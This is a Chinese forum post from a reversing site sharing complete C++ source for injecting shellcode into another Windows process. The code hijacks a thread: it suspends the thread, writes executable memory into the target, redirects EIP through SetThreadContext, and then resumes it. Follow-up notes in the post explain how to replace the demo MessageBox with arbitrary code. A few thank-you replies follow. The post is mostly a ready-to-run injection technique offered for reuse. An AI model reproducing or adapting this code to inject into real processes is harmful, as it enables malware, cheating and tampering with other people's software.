刺激战场
六合彩
贵宾厅
  • 1597阅读
  • 3回复

R3修改线程上下文EIP实现的无模块注入 [复制链接]

上一主题 下一主题
离线啊冲
 

只看楼主 倒序阅读 使用道具 楼主  发表于: 2016-02-04


[cpp] view plain copy

  1. #include "stdafx.h"  
  2. #include <windows.h>  
  3. #include <iostream>  
  4. using std::cin;  
  5.   
  6. DWORD dwOldEip = 0;  
  7. DWORD funRemote = 0;  
  8.   
  9. BYTE shellCode[25] = {  
  10.         0x68, 0x78, 0x56, 0x34, 0x12,                                //push        12345678h  
  11.         0x9C,                                                                                //pushfd  
  12.         0x60,                                                                                //pushad  
  13.         0x6A, 0x00,                                                                        //push        0  
  14.         0x6A, 0x00,                                                                        //push        0  
  15.         0x6A, 0x00,                                                                        //push        0  
  16.         0x6A, 0x00,                                                                        //push        0  
  17.         0xB8, 0x78, 0x56, 0x34, 0x12,                                //mov         eax, 12345678h  
  18.         0xFF, 0xD0,                                                                        //call        eax  
  19.         0x61,                                                                                //popad  
  20.         0x9D,                                                                                //popfd  
  21.         0xC3,                                                                                //ret  
  22. };  
  23.   
  24.   
  25. BOOL ThreadContextTest(DWORD dwProcessId, DWORD dwMemSize)  
  26. {  
  27.         HWND hwnd = FindWindow(NULL, L"Dependency Walker");  
  28.         if (!hwnd)  
  29.                 return FALSE;  
  30.         printf("hwnd:%p\n", hwnd);  
  31.   
  32.         // 打开进程  
  33.         HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);  
  34.         if (!hProcess)  
  35.                 return FALSE;  
  36.   
  37.         // 获取主线程ID  
  38.         DWORD dwThreadId = GetWindowThreadProcessId(hwnd, NULL);  
  39.         printf("dwThreadId:%d\n", dwThreadId);  
  40.   
  41.         HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);  
  42.         // 暂停主线程  
  43.         DWORD dwSuspendCount = SuspendThread(hThread);  
  44.         printf("暂停线程,任意键恢复线程,dwSuspendCount:%d\n", dwSuspendCount);  
  45.         CONTEXT stcContext = { CONTEXT_FULL };  
  46.         if (!GetThreadContext(hThread, &stcContext))  
  47.                 return FALSE;  
  48.   
  49.         HMODULE hModule = LoadLibrary(L"User32.dll");  
  50.         funRemote = (DWORD)GetProcAddress(hModule, "MessageBoxA");  
  51.         // 获取原始EIP  
  52.         dwOldEip = stcContext.Eip;  
  53.         printf("stcContext.Eip:%p\n", stcContext.Eip);  
  54.   
  55.         // 申请内存  
  56.         LPVOID lpAddr = VirtualAllocEx(hProcess, NULL, dwMemSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
  57.         if (!lpAddr)  
  58.                 return FALSE;  
  59.   
  60.         printf("lpAddr:%p\n", lpAddr);  
  61.   
  62.         // 构造shellCode  
  63.         memcpy(&shellCode[16], &funRemote, 4);  
  64.         memcpy(&shellCode[1], &dwOldEip, 4);  
  65.   
  66.         // 写入内存  
  67.         BOOL bRet = WriteProcessMemory(hProcess, lpAddr, shellCode, dwMemSize, NULL);  
  68.         if (!bRet)  
  69.                 return FALSE;  
  70.   
  71.           
  72.         // 设置EIP  
  73.         stcContext.Eip = (DWORD)lpAddr;  
  74.         SetThreadContext(hThread, &stcContext);  
  75.   
  76.   
  77.         //system("pause");  
  78.   
  79.         DWORD dwResumeCount = ResumeThread(hThread);  
  80.         printf("恢复线程,dwResumeCount:%d\n", dwResumeCount);  
  81.   
  82.         return TRUE;  
  83. }  
  84.   
  85. int _tmain(int argc, _TCHAR* argv[])  
  86. {  
  87.         DWORD dwLen = sizeof(shellCode);  
  88.         DWORD dwProcessId = 0;  
  89.         cin >> dwProcessId;  
  90.   
  91.         ThreadContextTest(dwProcessId, dwLen);  
  92.   
  93.         system("pause");  
  94.         return 0;  
  95. }  

我把执行的代码写成了ShellCode,就是弹一个 MessageBox,但是前面一句和最后一句是重点,第一句是把当前EIP 压栈,最后的RET就是

返回到正确EIP  这个是必须有的,在这里RET指令的内部操作是:栈顶字单元出栈,其值赋给IP寄存器。即实现了一个程序的转移,将栈顶字单元保存

的偏移地址作为下一条指令的偏移地址。

        当然也可以把你自己的执行代码写成函数,遇到的问题就是计算函数的大小,一般方法就是搜索特征码Ret(高老湿说滴),然后特征码地址减

去,函数地址,就是大小~~


由于EIP必须在运行的时候才能得到,所以我把获得的EIP直接MEMCOPY到相应shellCode位置。
运行结果:
善者 慈悲心常在 无怨无恨 以苦为乐
默认压缩密码www.hifyl.com
文件分享密码问题:http://www.hifyl.com/read-htm-tid-4444.html
离线v2680267313

只看该作者 沙发  发表于: 2016-04-30
用户被禁言,该主题自动屏蔽!
离线寒雪冰熊

只看该作者 板凳  发表于: 2017-08-20
感谢精品感谢分享
离线wanglei123

只看该作者 地板  发表于: 2017-09-19
感谢分享啊
快速回复
限100 字节
如果您在写长篇帖子又不马上发表,建议存为草稿
 
上一个 下一个